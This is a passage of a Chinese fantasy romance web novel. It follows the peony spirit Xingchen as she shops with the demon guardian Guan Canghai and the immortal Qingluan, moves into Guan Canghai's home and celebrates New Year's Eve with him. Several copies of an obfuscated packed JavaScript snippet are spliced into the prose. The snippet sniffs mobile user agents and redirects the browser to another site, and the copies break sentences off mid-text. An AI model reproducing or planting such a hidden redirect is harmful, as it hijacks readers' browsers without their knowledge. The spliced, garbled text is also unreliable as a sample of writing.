刺我一句,他还是将饭碗端起继续吃,看他眉宇的郁色消退,我尝试着给出解法,“护法最近也没事,明天上午你、我还有仙尊,我们三个去买年货呀。” “你还不死心,想和他出去。” “这次不是单独,还有你啊,仙尊看着冷,其实比你还好说话。” “……” “我觉得魔尊应该也赞同你和他交朋友的。” “要那么多朋友做什么。” “一点都不多,你才交了我一个,再来十个都行的。” 吃饭的期间我就一直在怂恿争取,我说十句,他一句都不回,但他肯定是听进去了,如果真的一个字都不想听,肯定摔碗出门。 终于,在打扫了灶房后,观沧海松口了。 “明天什么时候。” “明天巳时正,在最热闹的市场碰头。” “好。” “太好了,护法你觉得还是需要多交朋友的,是吧。”我一脸明媚地看着他。 观沧海从我身旁走过去,丢下一句,“看看他到底是什么狐狸精。” “……喂!人家是仙尊啊!当着面可不能这么说哦!”我赶忙追上去,拉着他的袖子这么念叨。 少年的眼神扫过来,我松开他的衣角,“总之,相处一下,才知道对方好不好,你说是不是。” “你该回去了,天黑了又要我送。” “我又没让你送。我自己打灯笼也行。” 小声嘀咕后,我去客房里找赏赐的箱子,从里面拿了一些钱财,这才大摇大摆地走出宅邸。 翌日,天气干燥且多云。 打扮好以后,我提前两刻钟出门,只是没想到会在魔宫侧门看到一袭杏衣的观沧海。在这灰蒙蒙的天色里,倒是一抹清新的色彩。 “护法怎么在这里。” “集合。” “不是在市场集合吗,你居然先来找我了。好感动哦。” “你在嘲笑我。” “怎么敢,那我俩一起去找仙尊。” 听我提到对方,他就没什么好脸色,我有心提醒,但怕自己说多了又引起他的反感。 在集市口,一眼就能看到倾城之姿的青峦,尽管他已经很朴素地穿着农夫的衣裳了,但那干净清冷的气质、挺拔的身姿,俊美的容貌,一眼扫过去就是鹤立鸡群的。 我还没去介绍,观沧海也认出了对方,开口道:“你来妖魔界,有什么目的。” 一张嘴就火药味十足啊。 昨晚我回来的时候就找侍卫帮忙传话,说今日采买观沧海也来,青峦还挺高兴的,虽然也能预料到往日的小伙伴对自己没多少好感。 被针对了以后,青峦也不迂回,直白地回答:“天界与妖魔界目前交好,我下界是为公事。” “没有私心吗。” “有,我也想见魔尊。” “你不配。” 我可不是找你俩来吵架的,赶紧强硬地介入其中,我将观沧海推开到旁边。 “护法你少说两句,哈哈哈,仙尊,护法他现在就我一个朋友,不太会交友,说话也不是很好听,你别介意啊。” 青峦:“我不介意,星辰。” 观沧海:“狐狸精。” 我:“喂!” 逛街采买开始了,我站在中间,左边是观沧海,右边是青峦,两个人都不是话多类型,更别提其中一个还有敌意,我开始汗流浃背。 在一处摊贩前停下,我挑选灯笼和窗花。观沧海对这些没兴趣,抱着双臂站在一旁,倒是青峦走过来了。 我俩一块认真挑选,还和老板讲价,大部分老板看到青峦这长相,都会硬不下心肠,要么便宜点,要么多赠送一些物品。 在采买的期间,我偶尔对上观沧海的目光,他都是面无表情地转开,苍白的面色好似更加阴冷了。 因为有青峦帮忙,不过一个时辰,就将东西都采买好了。剩下的几幅对联,青峦邀请我们去寻香苑,他写了送给我们,顺便请我们用饭。 我前几天总来找他,知道他下厨手艺堪比醉人楼大厨,这个邀请实在难以拒绝。 “不去。” “去。” 我和观沧海的声音撞在一起,他用眼神给我施压,我头铁地保持微笑,“去的去的,现在就去,请带路!” 青峦还真的带路了,观沧海杵在原地不动,我拽起他的袖子,又是赔笑,又是哄骗,“去嘛去嘛,肯定很好吃,不比醉人楼的差。你这算是第一次去朋友家做客哦!我都没请你去我的房间呢!” “……不是朋友。” “那就当是视察,你去看看他的工作做得好不好!” 本着一种狐狸精还能做什么的揣测,观沧海勉强跟着我去了。去了以后就是当大爷的,也不帮忙,就坐在院子里喝茶吃东西。 其实我想帮,观沧海不让。 青峦一个人在灶房里忙进忙出,但看得出来他还乐在其中。 “不去帮忙,真有点过意不去。”吃着点心,我探头看向屋里的人。 “我做饭的时候,你也过意不去?” “那还是不一样的,我和护法关系更好,看你干活,我过意得去。” “……” 观沧海懒得搭理我,便也看向屋内的人,看着青峦像个勤劳的小蜜蜂那样,少年的眼神似乎有几分恍惚。 六个菜做出来,我们愣是没帮上一点忙,摆好碗筷,青峦拿出一壶自酿的葡萄酒,他看向观沧海。 “这果酒清甜不醉人,闲暇时喝几杯正好。如若喜欢,我送几坛去护法的府上。”说着,青峦将我们的酒杯都满上。 看着面前的酒液,观沧海的敌意褪了一些,多了些许思考。 也许现在的青峦就是观沧海唯一能接触到的关于前世的友人,如果他能恢复前世的记忆,那么对于消除体内六魔残念,还有回归天界都是有好处的吧。 我连忙拿起酒杯,“来来,多谢仙尊的好酒好菜,让我们干杯!” 观沧海饮下这杯酒,随即眼睛一亮,但他克制住了这份品尝到美酒的惊喜之色。 吃饭时,介于两个都不怎么说话,我只能疯狂找话题,还好,只要提到种菜养鸡之类的,青峦就能多说几句。 他除了种菜、养花、下厨,琴棋书画、女红也是不在话下。 这哪里是个高冷花瓶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不需要那么多朋友,以后别再让我交别的朋友。” 前世的好友就这么被他否认了,感觉青峦听到了会默默地难过。我还以为中午一起吃了饭喝了酒,他就会慢慢接受,明明当时的神色也是有触动的。 “护法,你只有我一个朋友,是不是太少了。” “一个,就够了。” 我的含金量有这么高了?不过听他这么讲,心里还挺得意的。 “你别再去接触青峦。” “啊?”我的语气里明显多了不乐意。 “你要是想吃他做的食物,我派人取了给你,至于人,别见。” 比起刚才略显强硬的话语,后面这一句补充倒显得软了点。但他和随璘两个人的交代,我该听谁的啊! 如果对他说,随璘也让我多陪陪青峦,他肯定会追问为什么。万一暴露了我是天界的,搞不好会连我一起讨厌。 谁能给我一个好感度数值啊,如果是系统文就好了!心里想着这些,我吃饭的胃口都降低了,一脸幽怨地盯着碗里的米。 “不让你见他,这么难过吗。” “也、也不是。” “要是伤心,你就选他,让魔尊把你派到他身边,别跟着我了。” “哎!别别别!不至于啊,我选你,我肯定选你!” 23.23 没有想到观沧海对于多交朋友这么抵触,一时间还弄不清楚他究竟是抵触天界的人,还是抵触朋友多。 或许两者都有,原本他就觉得自己会被六魔残念影响,伤害到身边的人,所以一直独来独往的。 他说让我选他或者是青峦的时候,我是有些不能理解的,不知道为什么要在这种问题上做选择。但冷静下来后,我又觉得可以体谅。 我打算去找和他关系最亲近的随璘,想着咨询这个情况是怎么回事。 这天中午休息,我准备从观沧海的宅邸离开去魔宫。 穿上大氅,我正要出门,身后传来声音。 “去哪。” 回头看到观沧海端着一盘削好的水果,我笑嘻嘻地跑过去,用竹签戳了一串果子吃,说道:“你之前都不问我去哪里的,怎么今天问了。” “你才安分了三天。” “你以为我是去找仙尊的?” “我猜错了?” “对,你猜错了,我是去找魔尊的。” 观沧海好奇道:“找她有什么事?” “聊聊天啦,说不定魔尊也想知道我俩最近的交友状况。” 听我这么讲,观沧海略显心虚地垂下了目光,“你打算怎么说。” “照实说咯。” “……随便你。” 他像是有点不乐意,不过也没强调什么,这意味着就算我告状他让我二选一的事情也是可以的。 吃完这一串,我又往盘子里戳上几颗葡萄和苹果,这才愉快地出了门。 随璘中午在休息,知道我来了,她只是躺在睡榻上,也没有起来的意思,语调慵懒地让我直接说。 我搬来椅子坐在床边喋喋不休地把事情讲完,最后问她。 “我是想理解护法的心情,但我觉得朋友多交一些更好,而且青峦仙尊也是他前世的好友,这不是好事嘛。” “是好事,但他现在不这么认为,你就不要一意孤行了,小星星。” “魔尊,你说护法有没有可能恢复前世的记忆。” “比较难,体内的六魔残念虽然不怎么发作了,但依旧存在,会阻止更不利的事情发生。” “我是觉得他如果恢复了前世记忆,事情会变得更简单。” 随璘伸出纤纤玉指,点了点我的鼻尖,“想得简单了哦,万一他不能接受前世的记忆呢。” “可到底是同一个人啊。” “那是在对前世认同的情况下,他不承认,就会更加排斥。” “好吧。” “至于多交朋友,交你一个好友都难死他了,你得让他适应,不要一下子太猛。” “好像很有道理。” “沧海是第一次交朋友,小星星是第一次吗。” “不是。”我摇头。 “这就对了,他终究才十九不到,你是做姐姐的,也有不少朋友,可以慢慢调教他。既然他说了不让你接触青峦,你暂时就别去找了,这是为你好。” 在说这句话时,随璘的眼神里似乎酝酿着别的情绪,只是我看不透,她好像有些无奈。 “为我好?哪方面啊?” “那你就得去问他了,很多时候,事情还是当事人自己解决更好。你确实不该牵扯太深。” “我怎么稀里糊涂的。” “没事,你只要顾好自己的任务,专心和沧海相处就行了。” “只要这样就行了吗。” “对,你先与他成为挚友,再考虑给他介绍别的友人吧。” “知道了。” 既然都这么讲了,我也就不执着,专一地对待我的好朋友吧。 在这聊了半个时辰,走出去时看到青峦拿着种出的蔬菜过来,他应该是拿来给随璘检验的。清冷的男仙看着高不可攀,我本来想着不打招呼了,结果在走廊碰见,他先叫住了我。 “星辰。” “仙尊。”他都打招呼了,我再装看不见就很不礼貌了。 青峦平静的神色中带着一丝欣喜,他将竹篮里的菜端起给我看,“学生们用法器种出的蔬菜也很不错,寻香苑里有两筐,你带去沧海家做菜吧。” “真的能拿?” “嗯。还有几坛子酒,你若是拿不动,我遣人送去。” “拿得动,我放进乾坤袋里,谢谢哦!” “你最近怎么不来了,有事耽搁么?” 我总不能说观沧海不让,便忽悠道:“确实比较忙,而且你总是抽空招待我也不好,你比我还忙呢。” “总是有时间的。” “我身体比较弱,以后要跟着护法锻炼,就不能去找你了。” “身体可有哪里不适?” “没有没有,魔尊、护法都很照顾我,就是加强锻炼!” 了解了我不去的原因后,青峦就信了,也不多说什么,他还急着将收成的菜拿去给随璘看。 等到他走后,我从走廊拐角转弯,然后惊掉下巴。 观沧海抱着手臂倚靠在转角的墙壁处,看起来在这偷听了一阵,我指着他,“护法,你为什么在这?” “我认为你会偷偷来找青峦。”话语点到为止,他歪头看着我,潜台词是:果然被我抓住尾巴了吧。 我连忙解释:“冤枉啊!我是在旭日堂门口的走廊碰见仙尊的,他来给魔尊看收成的菜,我本来想装看不见,可他打招呼了。他说有菜和酒,我就想着去寻香苑拿一些。” 瞧我着急忙慌解释的模样,观沧海只说,“我看见了,你不用担心我误会。” 我松了一口气,“那就好,毕竟你都说了,我要是找他就别找你。那我只能选你啊。” “走吧,去寻香苑拿酒和菜。” 他也不做过多解释,转身就让我跟上,对着少年的背影龇牙一番,我快步追上去。 “护法,其实你也惦记仙尊的手艺吧,明明就喜欢他的菜和酒。” “有的吃为什么不吃。” “嚯,我还以为你会排斥到他的东西都不接触。” 给我一个白眼,观沧海大步流星地走去寻香苑。我俩将菜筐中的菜和酒架上的酒搬走一部分。 我打着商量道:“拿了他的东西,你说除夕那晚,我们要不要邀请他来做客?” “不用。” “这不好吧。” 观沧海不继续这个话题,转而说道:“正好我们都在这里,你要不要收拾东西,搬去我家。” “咦……”我脑子卡住了几秒,疑惑地抬头。 “还是,你已经不想搬了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818239|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“搬!但是为什么突然让我换工作地了。” “那就现在搬。” 干嘛不回答我的问题,不过就这情况来看,住得近了应该更方便。生怕犹豫了他就反悔,我立即说:“我去住处收拾东西,护法等等我。” “你不请我去做客吗。”他的声音小了些,语气中藏着一丝试探。 “我那住处地方小。” “……”嘴角的弧度拉直,他没吭声,只是盯着我。 “好,你请请请,以往就是宝珠她们那些女孩子来。可能有些乱,你别介意。” 怕他觉得我嫌弃他,我赶紧拽着他往院子里去。 不过挚友和对象肯定不一样,所以房间乱我只是有点抱歉,而不是觉得羞耻没脸。 推开门带他进来,桌面上放着一堆食物,还有花生壳和食物残渣。我赶紧拿出帕子给这些垃圾收拾了,擦干净以后,我端上柿饼、糖块,又去隔壁的灶房拎了一壶花茶过来。 “护法你先吃着等等我,我收拾好了,我们就去你家。” “嗯。” 他打量着我的房间,小单间没有隔间,四四方方,摆着床、四方桌、几张高几,墙上挂着一些小玩意,窗子上贴着窗花。 虽小,还乱,但活人气息很足,气味也不难闻,有着淡淡的花香,可能因为我本体是牡丹的原因。 “护法,我要是搬去你家了,这个房间还能给我留着么。” “可以。” “那太好了,这样我就有两个窝点了!” 等我完成任务了,以后还会在天界有一处大别墅,想想都爽。 “小牡丹,你是不是回来了?今天又有什么好吃的,咱们喝茶聊天!” 响亮的声音伴随着推门声涌来,宝珠和另外两个侍女本想找我吃瓜,结果一进门就看到吃柿饼的观沧海,她们都瞪圆了眼睛。 “护、护法?”宝珠颤抖地喊着。 观沧海点点头,然后没有邀请她们三人,而是默不作声地看着,眼神也不热情。 “宝珠啊~我今天要搬去护法家当值了。不过这个房间还是留着的,今后有空我还回来!” 想说些舍不得的话,但宝珠舌尖抵着牙齿,愣是改口道:“这样啊,恭喜恭喜,既然你和护法在忙,我们以后聊!” 说完,宝珠将跨进来的一只脚缩回,离开的时候顺便把门也关上了。这种领导在场,牛马不方便聊天的既视感太强烈了。 我有些幽怨地看着观沧海,“护法,你是不是吓到她们了。” “没有。”少年黑漆漆的眼珠转开,淡定回应。 “我本来还想让她们帮忙收拾东西的。”打算卷铺盖的我这么讲着,想到衣橱里还有冬装,我一转身,差点转上靠近的观沧海。 “收拾什么,我帮你。” “那你帮我收拾被子,还有这套茶具,一些话本。我就收拾我的衣服,还有吃的。” “这些家里都有。你不用收拾。” “好像是的,不过被褥有新的吗?” “可以买。” “买新的,好啊!你出钱。” “好。衣服也买新的。” “也是你出钱?” “嗯。” 那我肯定要痛宰他一顿,买贵的! 24.24 如果是领导请客买东西,我一定不会客气,但观沧海还是我的朋友,所以被褥、新衣之类的,我并没有刻意挑着最贵的买。 他不介意我买贵的,只要我指哪个他就负责掏钱。不过他也不是冤大头,若是对方胡乱喊价,少年就会冷冷地盯着对方,直到对面心虚松口。 采买好我的所需物资,下午到了他家,将菜和酒放去了灶台,我就兴冲冲地问他,“我住哪个院子哪个屋?” “在我隔壁。” “啊?” “那个房间你放了赏赐的东西。” 我想起来了,随璘赏赐我的东西,的确都放在了那个空房中,当时这么放,只是觉得和他房间隔得近,我的财产比较安全。 没想到兜兜转转也会成为我的房间,住他旁边更好,这样他有风吹草动我都知道。 观沧海帮忙给我铺床,我则是拿起衣物折叠放入橱柜,这里很干净,前几天来拿灵石都没这么整洁的。 “护法,你是不是打扫过。” “你今天出去的时候打扫的。” “你是考虑了很久,才让我搬进来的?” “是考虑了一阵。” 将衣橱塞满,我勾起嘴角,走到床边看他,“现在可以说说,为什么让我搬进来了吧。” 自家的地盘总归是更安全的,观沧海将软枕头放好,掀起眼帘望向我,“辞镜先生的忍耐力有限,他大概要对青峦出手了。” “你是说仙尊有危险?”万万没想到会是这个回答,我收敛了玩笑,神色严肃。 “很多男宠也看不惯青峦,被针对是迟早的事。” “但魔尊那么保护他,男宠怎么敢。” “男宠会站队辞镜先生。这种情况下,你若一直和青峦厮混,辞镜先生也会利用你来对付他。” 我明白了观沧海的意思,我会被牵连,为了不让我牵扯其中,他才警告我,甚至让我从魔宫里搬出来。 再一结合先前随璘和我说的话,也许她也有所察觉,毕竟她与辞镜相处千年,肯定知道对方耐心不多要动手了。 我最好别去掺和这些事情,可这样旁观,青峦会陷入危险,我又觉得有点良心不安。 “护法,我们什么都不能做吗?” “是,不要搅入魔尊和辞镜先生之间的问题。” “明哲保身是挺好,但不管青峦仙尊,又觉得太过无情。” “这么快就和他交上朋友了?” “还行吧。”如果后续观沧海恢复了前世的记忆,会不会后悔在这个环节没有帮青峦呢? 想了想,我挂心地询问:“青峦仙尊好歹是天界的使者,下来帮助改革推广技术,辞镜先生不会不懂这个道理,怎么又会轻举妄动。” “可感情是不讲理的,妒忌更是。” “……”我惊讶地瞧着他。 “怎么,这话不对?” “我只是觉得这话从护法的嘴里说出来,有点奇怪。” “我又没有断情绝爱,为什么奇怪。” “可能因为你浑身散发出不搞对象的气息,所以你说这话,我很惊讶。” 观沧海铺好了床,又搬来一些装饰品,比如挂画和落地花瓶。见我脸上挂着忧虑,他没有再装聋作哑,宽慰道。 “我们不掺和,就没有多余的变数,魔尊喜欢青峦,至少他的命是能保下的。” “真的?” “是,但如果真的到了你死我活的地步,辞镜先生和魔尊的感情或许很难回到最初了。” 说完,他也闷闷不乐地坐回椅子上,我挨着他坐下,戳戳他的胳膊,“护法,你担心魔尊和辞镜先生?” “嗯。” “既然担心,你要不要去劝一劝。” “这是两人之间的问题,我做不到。” “万一做到了呢!” 像是看傻瓜那般瞥我一眼,他学着我戳他的样子戳戳我的肩膀,“你还记得有一回你买菜回来时,辞镜先生来家中做客么。” “哦,记得,留他一起吃晚饭,他都不吃。” “那天他来,是希望借我手杀了青峦。” 惊讶至极的我一个字都蹦不出来,难怪观沧海咬定了辞镜要动手,原来一开始就打算下杀手。 辞镜先生知道观沧海对随璘有用,如果是他杀了青峦,随璘就算痛心,大概也不会做什么。 所以当时我说观沧海不讲理的时候,他才反驳说自己很讲理了。 想到了这一层,我羞愧地看着他,“那你还是很讲理了,我以为你不喜欢青峦,若是有机会的话,可能会对他下手。” “我尊敬辞镜先生,但我以魔尊为主,会让她难过的事,我不想做。” “魔尊现在喜欢青峦仙尊,要是辞镜先生真的下手,她也还是要难过啊!” “新欢旧爱的问题,轮不到我来插手。手心手背都是肉,这么说,你明白了吗。” 我钦佩地看着观沧海,“护法,你很厉害啊!我真以为你对这些一窍不通!” 少年轻哼一声,“现在还要怨我袖手旁观吗。” “不敢不敢,我怎么会怨你呢。” “你最好不会。” “真不会,你都解释得这么清楚了。” 不过青峦真要是出事了,小雨会伤心吗?小雨本来也不是很想当战神,只是因为想要守护青峦和天界而已。 我忽然意识到一个问题,从魔宫宿舍搬到观沧海家,我的传送阵法是开在宿舍的,如果以后我要去天界拿药,还得往宿舍跑。 也行吧,毕竟我暂时也不想暴露自己是天界狗腿子的事。至于什么时候与观沧海坦白身份,得找个合适的时机。 青峦的事情,的确是爱莫能助了,我要相信随璘能保住他,我得专心自己的任务目标才行! 搬进来的第一个晚上,蒲公英小妖精们热烈欢迎,还采了很多野花做成花环给我戴。 我和它们吃东西聊天,隔壁的观沧海敲了敲我的门,他的目光停留在我的头上。 已经睡下的少年穿着一件白色里衣,披散的黑发让他看着更苍白了,但也更柔软。 房门并没有关,他只是象征性地敲一下,我不好意思道:“是不是吵到你了,我们声音小些。” 跨门进来,他拿起我头上的花环,“戴这个做什么。” “是这些小妖精们做的,欢迎我来。” “哦。”他又将花环放回我的脑袋上。 “护法,你要不要戴着试试。” “不要。很晚了,你们还要聊吗。” “那好吧,早睡早起,小伙伴们,下次聊。” 小妖精们嬉嬉笑笑地散开,我端起盆子去了浴房清洗。等我再回来后,就看到隔壁屋的烛火熄灭了,睡这么快,看来我先前很吵了。 第二日。 睁开眼,在温暖的被窝里翻来覆去,拿过床头柜摆着的丹药和热水,我先吃下一颗仙丹,等到身体活络起来,这才掀开被子穿衣服。 打着哈欠,随便梳个团子头,肩上担着布巾,手里拿着盆子,我走去浴房。 走错好几次,这才找到浴房,冬日清晨的冷风很冻脸,想着一会儿洗了脸擦些脸霜,我刚拿起热着的水壶倒水,余光这才瞥见漱口的观沧海。 收拾干净的少年看着我,我俩四目相对,都是一愣。 “啊!对哦!我搬到你家来了!”还以为自己在宿舍的浴房,看到这么大个观沧海,我才意识到不对劲。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822350|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 显然他也忘记我搬过来的事了,所以看到我时才会愣神。 他放好洗漱用具,对着我点点头,就从我身旁错身过去,只是走到门口,又对我说,“我做早饭,不用出去买。” “哦,好啊!” 有种合租室友的既视感。 哼着小曲去灶房吃早饭,是两碗素面,还煮了鸡蛋,加上一盘炸过的酥肉。 “这个鸡蛋是仙尊那边养的母鸡下的吧。” “嗯。” “哦,对了护法,我今天要回一趟魔宫的宿舍。” “做什么?” “有些首饰忘记了。” “买新的。” “哎呀,有些是我喜欢的。” “你去吧。” “你不会又跟踪我吧。” “……不会。” 既然他这么说了,应该就不会偷偷跟了。 吃了饭,飞快收拾了灶房,我去了魔宫的宿舍。 宝珠她们都不在,我特意选的无人时候。打开锁进门,然后又拉上门闩,我启动传送阵法。 药王殿。 对我的出现,周围的仙侍见怪不怪,我没看到禾儿,也没见着药王。主要也不是拿药来的,我是想给云喜雨说一声青峦可能会有危险的事。 从药王殿的广场跑出去,刚跑到万相宫,我就看到云喜雨一身战甲,手持银枪,率领着一队天兵天将下凡去。 威风凛凛的少女就这么消失在我的眼前,我都没来得及叫住她,只得去问天门的守卫。 守卫说战神最近频繁收妖,很多事情都亲力亲为。这完全从恋爱脑变成了工作狂啊。 我看得出飞星对小雨有情,只是小雨之前一门心思在青峦身上。可青峦又是对随璘有意的。 小雨被青峦左右情绪,有时候甚至到了身不由己,情难自控的地步,我都觉得她有黑化的潜力,妥妥前期深情后期黑化的女配角。 或许不告诉她青峦的事更好,说不定她也打算放下对方呢?总归搞事业也不错,再说身边还有飞星陪着。 纠结了一阵,我打算不说了,去药王殿拿些仙丹,又开启传送阵返回。 还有几天就是除夕,我看到一些过凡人节日的门户贴了门神、窗花,街头也有几分喜庆。 心里有那么一丝丝的寂寞在发酵,不过想到可以和观沧海一块过年,而且还搬到了他家,又觉得不是孤身一人。 心情又愉快起来,买了一只烤鸡回去,我看到他在前院挂灯笼。 看到我回来,他从树上跳下,“灯笼被风刮下来了。” “还说不想和我一起布置,灯笼掉下来,你也这么在意。” “……” “护法,我买了烤鸡,今晚吃它。马上就是除夕了,一定要守年放鞭炮啊!” “呃……”他面露难色。 “怎么了?你不想和我过年吗?之前都说好了。” “魔尊给了任务,让我们出去抓几个企图作乱的大妖。这份密卷是各地妖王送来的,一共五人。” “什么!这么多!那不是不能过年了!” 观沧海眼里有一丝歉意,“如此,你在家过年,我去抓它们。” “慢着,你是打算带我一起去捉大妖?” “嗯,但你不是想过年么。” “我还以为你不带我去。那既然我俩都在一块,在哪里过年又有什么区别~” 看我转忧为喜,他还有点怔然。我拍了他胳膊一下,“我马上收拾东西,这次要去多久?” “可能要数月。” “好嘞,我多准备些物资,还有买的那些炮竹,一并带上!” “炮竹也带?” “当然了!” 25.25 今天是除夕,我们在山里。 出门已经六天,要抓的大妖狡猾如狐,好几次闻风而逃,连个目标影子都没看见。 我在想是不是我拖后腿了,如果不带上我出门,观沧海单枪匹马要迅捷得多。毕竟这一路上他都在顾着我的体力,没有日夜赶路,只要我走不动了,他就让我休息。 追踪抓捕的大妖居无定所,以至于我们也一直在路上。 一般我们是白天出发,晚上就找落脚的地方休息。截至目前,还没有在荒郊野岭过夜,都是在快要天黑时找到店家,或者是民房,然后去投宿。 之前和他去沱河地界办事可不是这样的,如今是完全考虑了我的情况。 他为我着想,我知好歹,自然也会为他考虑。 干脆今晚过了年,我回去好了,不耽误他做正事? 抬头望天,又是已近夕阳,我坐在他贴了符的阵法里,等待着观沧海归来。 他去探路找今夜投宿的人家了,我托腮望着残阳,看见一片阴云拢过去,野外的风吹得更烈,搞不好今晚会下雪。 明明是过节,他或许找不到什么能收留的人家。 这地方在山林平地中,往外走还有几十里地。我们是因为察觉到了妖气,才往这山里钻的。前不着村后不着店,如果今晚想去住店睡床,还得用百鸟舟飞天赶路。 能找到还算好的,就怕大家都放假过节去了,谁会经营店铺呢。 还好观沧海走之前划下的可活动范围有个十几米,于是我从乾坤袋里拿出了做晚饭的炊具,生火架锅,洗菜淘米。 知道要出远门,这次我可是准备了三个乾坤袋的物资,绝对不会产生资源危机感。 天上的阴云越聚越多,夕阳只剩下模糊的轮廓。我掏出一个遮天宝具,悬浮在半空中,层层叠叠的轻纱张开遮挡在头顶。 这四周有山有水,能挡掉不少冷风,头顶再有轻纱棚子挡着,小火炉煨着热汤。拿出开胃的山楂片吃几块,听着耳边的炖煮声,我发现天光越来越暗。 从蒲团上起身,我找出灯罩和蜡烛,将灯笼撑在枝头上,暖灯之下,有一种偏安一隅的温馨感。 渐渐地,天黑了,山林里开始有夜行动物活动的声响。我倒是不怕的,在保护圈里面,只要我不作死出去就行。 天已黑,人还没回来,我已经打定主意就地扎营过除夕。 找到背靠大树的地方,把被褥拿出来铺床。看着这些厚厚的棉被,再用发热符贴在里面,这一定是个温暖的小窝。 自己的床铺好了,我估算着距离,在五步远的地方又拿出一床开始铺,这是给观沧海的。 “你,怎么做饭铺床了。” 忽然听到少年的声音,还夹杂着几分意外,我转头看到回来的人。对于我把这地方改成温馨小窝的样子,他不是很适应。 “护法,你是找到落脚的地方了?” “走出山二十里有一家小客栈,但是无人经营,回乡过年了。” “就是吧,今天除夕团圆夜,我们就不去外面了,今晚在这过年。” 观沧海显得有些闷闷不乐,“用百鸟舟离开这片地界,去热闹的大城镇,能住上客栈。” “不必了,还是说,你想住客栈?” “你那么想过节,在这山里就行了么。” “行啊,怎么不行,我俩还能在这空地放鞭炮,不过你得看着,以免放火烧山了。” 他还是有些在意,我倒了茶给他暖手,往他胸口一拍,“我其实不娇气的,就是身体比较虚,这环境不也挺好,我都布置好了。” “真的?” “当然了。” 洗洗手,摆上小矮桌,将饭菜端上,我俩面对面吃饭。我现在和他相处随意很多,直接就把心里所想说了出来。 “护法,我在想我是不是耽误你做任务了,你带我出门就要考虑我的情况,追踪妖魔就会慢很多。” “魔尊让我照顾好你。” “你照顾得很好,但没完成任务也不行吧。要不明天我回家等你?” 观沧海顿住,漆黑的眼睛看过来,不是冷淡、质问,而是有点委屈。相处得越久,越能看到他的不同面,我笃定这是有点可怜的眼神。 “我不是嫌弃跟着你在外面不好,是觉得我耽误你正事了!” “没有耽误。” “真的嘛,那为什么出来这么久,一个妖魔都没抓到。你以前一个人执行任务,会这样吗。” “不会。” “就是说啊,你要顾着我这边,我完全拖了后腿。” 观沧海这才有了怀疑,问道:“你是不是想回去找青峦。” “和仙尊没关系,就是怕耽误你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827421|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我说了没有耽误。” “你不会怪我?那你以后耽误事了,可别忽然拿我发脾气翻旧账啊。”提前给他打上预防针,免得我背锅了!我可是有言在先咯。 “不会。” “就因为魔尊让你照顾我,所以你不敢让我一个人回去?怕她怪你?” 想到他重视随璘的程度,我才有此一问,观沧海又低头扒饭,说道:“我们是朋友,你不想和我在一起吗。还是你朋友多,少我一个没关系。” 咦,挚友,你开始粘人了吗。 “好朋友,一生一起走!”想着那句老歌的歌词,我笑着这么回一句,也就不再担心会被责怪了。 吃过晚饭,观沧海在收拾,我到处在找能放烟花的地方。最后决定在河边的空地燃放,在这里就不会烧着树了。 我拿着盘起来的鞭炮,在地上拉开长长一条,又摆好小烟花,围拢成一个笑脸。观沧海手里拿着一支点燃的香,这是准备点火用的。 我很有仪式感的摆完,观沧海就问我:“可以点火了吗。” 虽然没表现得出热情,但至少没有扫兴说别弄了,我对着他点头,这人就拿着香去点炮竹。 噼里啪啦的炮竹在缓慢流淌的河边炸开花,声音在整个山间回荡,其实挺怪异的。 炮竹就带了这么一两卷,加起来十米长,观沧海一脸平静地看着我,“炮竹放完了,点这些小烟花?” “这个在地上放的叫金玉满堂,这个拿在手里的叫流光四溢。” “哦。” “咳咳,你点吧,点地上的。” 地上的“金玉满堂”摆了五六个,炸起花火时像是有珍珠瀑布冲开,格外的耀眼,比炮竹看上去绚烂许多。 我目不转睛地看着这些小烟火,等到光芒消失后,我意犹未尽地看向身旁,冷不防地对上观沧海的目光。 短促的视线交织后,他眼睫眨动,拿起“流光四溢”,这其实和仙女棒差不多,他塞到我手里,“点了?” “来吧大兄弟!” “……为什么这么叫我。” “有什么关系,好朋友互相打趣常有的。” “叫护法,要么叫名字。” “哦,护法。” 看来还没到起绰号的地步?还是他单纯不喜欢这个称呼?难不成要叫好姐妹? 26.26 这个小插曲并不能影响我的心情,手上的烟花点起来比地上的更璀璨,夜色里,像是有数不清的星星从手里流淌出来。 